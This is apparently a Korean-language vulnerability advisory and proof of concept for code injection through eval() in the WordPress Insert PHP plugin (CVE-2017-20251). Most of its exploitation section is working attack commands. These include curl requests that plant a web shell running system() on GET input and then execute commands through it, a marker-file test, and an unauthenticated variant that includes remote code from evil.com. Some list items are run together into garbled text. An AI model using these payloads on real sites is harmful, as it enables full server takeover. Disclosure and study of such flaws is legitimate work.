
Insert PHP Plugin PHP Code Injection
Insert PHP 플러그인의 숏코드 처리를 통한 인증 없는 PHP 코드 삽입
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2017-20251 |
| 플러그인 | Insert PHP (현재 Woody Code Snippets) |
| 영향받는 버전 | < 3.3.1 (1.3에서 테스트됨) |
| CWE | CWE-94 (코드 삽입) |
| CVSS v3.1 | 9.8 (치명적) |
| CVSS 벡터 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 공개 정보 | 공개 (Exploit-DB 41308) |
Insert PHP 플러그인 버전 3.3.1 이전 버전에서는 숏코드 삽입 취약점을 통해 원격 공격자가 임의의 PHP 코드를 실행할 수 있습니다. 이 플러그인은 [insert_php]...[/insert_php] 숏코드를 등록하며, 숏코드 태그 내부의 내용을 PHP의 eval() 함수를 사용해 아무런 무결성 검사나 유효성 검사 없이 직접 평가합니다.
REST API, XML-RPC를 통해 또는 기여자/관리자 권한으로 글을 생성하거나 수정할 수 있는 공격자는 콘텐츠를 렌더링하는 모든 페이지나 글에 임의의 PHP 코드를 삽입하여 웹 서버에서 완전한 원격 코드 실행을 달성할 수 있습니다.
취약점은 the_content 필터로 등록된 will_bontrager_insert_php() 함수에 존재합니다.
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
$will_bontrager_content = $content;
preg_match_all(
'!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
$will_bontrager_content,
$will_bontrager_matches
);
$will_bontrager_nummatches = count($will_bontrager_matches[0]);
for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
ob_start();
eval($will_bontrager_matches[1][$will_bontrager_i]); // <-- 취약
$will_bontrager_replacement = ob_get_contents();
ob_clean();
ob_end_flush();
$will_bontrager_content = preg_replace(
'/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
$will_bontrager_replacement,
$will_bontrager_content,
1
);
}
return $will_bontrager_content;
}
add_filter('the_content', 'will_bontrager_insert_php', 9);
주요 문제점:
eval()에 직접 전달됨[insert_php] 숏코드가 포함된 악성 콘텐츠로 글을 생성하거나 수정the_content 필터를 실행eval()이 서버에서 임의의 PHP 코드를 실행심각도: 치명적
웹 서버에서 완전한 원격 코드 실행:
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{
"title": "Malicious Post",
"content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
"status": "publish"
}'
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'
# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
# Verify
cat /var/www/html/rce_poc.txt # Should output: RCE-SUCCESS
REST API가 인증 없이 글 생성을 허용했던 구형 워드프레스 버전의 경우:
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
-H "Host: target.com" \
-H "Content-Type: application/json" \
-d '{
"id": "1234ffff",
"title": "by Hacker",
"content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
}'
취약한 숏코드가 처리되면 PHP 코드가 eval()에 의해 실행됩니다. 마커 파일 테스트의 경우:
요청: [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]가 포함된 글 생성
응답: 글이 성공적으로 생성됨
요청: GET /?p=POST_ID
응답: 페이지가 렌더링되고, PHP 코드가 실행되며, 서버에 marker.txt가 생성됨
확인:
$ cat /var/www/html/marker.txt
SUCCESS
DISALLOW_UNFILTERED_HTML 상수 설정 (단, 이는 문제를 완전히 완화하지는 않음)패치된 버전(3.3.1+):
[insert_php]에서 [wbcr_php_snippet]으로 변경됨eval() 사용이 제거되고 안전한 실행 컨텍스트가 도입됨